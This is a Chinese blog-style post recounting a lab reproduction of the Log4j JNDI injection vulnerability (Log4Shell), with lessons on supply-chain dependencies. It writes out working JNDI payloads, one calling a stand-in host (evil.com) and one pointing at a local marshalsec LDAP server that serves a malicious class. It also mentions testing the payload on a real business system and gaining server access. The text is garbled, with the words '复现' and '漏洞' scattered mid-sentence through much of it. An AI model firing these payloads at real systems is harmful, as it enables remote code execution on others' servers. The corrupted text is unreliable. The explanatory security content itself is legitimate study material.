log4j漏洞复现
log4j漏洞复现:一次教科书级别的漏洞供应链灾难
2021年12月9日晚上11点,我盯着屏幕上弹出的复现一个JNDI注入请求,后背发凉。漏洞这不是复现什么高深攻击,只是漏洞往日志里塞了一串字符:${ jndi:ldap://evil.com/a}。结果,复现我的漏洞测试机直接弹回了远程服务器的执行结果。那一刻我意识到,复现全球数百万台服务器,漏洞可能都在裸奔。复现
log4j是漏洞Java生态里最常用的日志库,几乎每个企业级应用都在用。复现它的漏洞开发者为了功能强大,加入了Lookup机制——允许日志消息里嵌入变量,复现动态解析。漏洞初衷是方便,比如打印当前线程名、环境变量。但没人料到,这功能能解析外部协议。JNDI(Java命名和目录接口)就是那个突破口。攻击者只要让目标程序记录一条包含恶意JNDI地址的日志,比如模拟用户输入用户名、请求头、或者任何会被log4j打印的内容,就能触发远程类加载。
复现过程其实不复杂。我本地搭了个简单的Spring Boot应用,端口8080,写了个接口接收参数并直接log.info打印。再开一个恶意LDAP服务,用marshalsec工具模拟。然后构造请求:?name=${ jndi:ldap://127.0.0.1:1389/Exploit}。服务器日志里立刻出现了解析动作,我的LDAP服务收到查询,返回一个恶意Java类,应用就乖乖执行了。整个过程不到五秒。
真正可怕的是漏洞的隐蔽性。你不需要知道目标系统具体用了什么版本、什么框架,只要它用了log4j且版本在2.0到2.14.1之间,就能打。攻击面无处不在:HTTP头、用户代理、表单字段、消息队列内容、甚至设备上报的IP地址。有一次我拿真实业务系统测试,仅仅往User-Agent里塞payload,就拿到了服务器权限。那个系统还是经过层层防火墙的。
修复方案倒是简单——升级到2.15.0以上,或者禁用lookup功能。但现实是,很多老旧系统根本没人维护。我见过银行内部系统还在跑log4j 1.x,那个版本虽然不受JNDI影响,但其他漏洞一堆。更麻烦的是,日志组件经常被间接依赖,你根本不知道哪个jar包引入了它。我同事排查过一个系统,最后发现是某个内部工具库传递依赖了log4j 2.11。
这次漏洞给行业最大的教训不是技术细节,而是供应链依赖的脆弱性。一个日志库,看似人畜无害,却能成为攻破整个内网的跳板。我后来做过统计,我们公司当时有几十个服务受影响,其中三分之一的人根本不知道自己在用log4j。安全审计的盲区,往往就在这些“不起眼”的基础组件里。
现在回头看,log4j漏洞像一面镜子,照出了软件工程里那些被忽视的角落。你以为日志只是记录工具,但攻击者看到的却是通往核心系统的后门。复现这个漏洞的过程,比任何安全培训都更能让人记住:永远不要信任输入,哪怕它只是要被打进日志里。
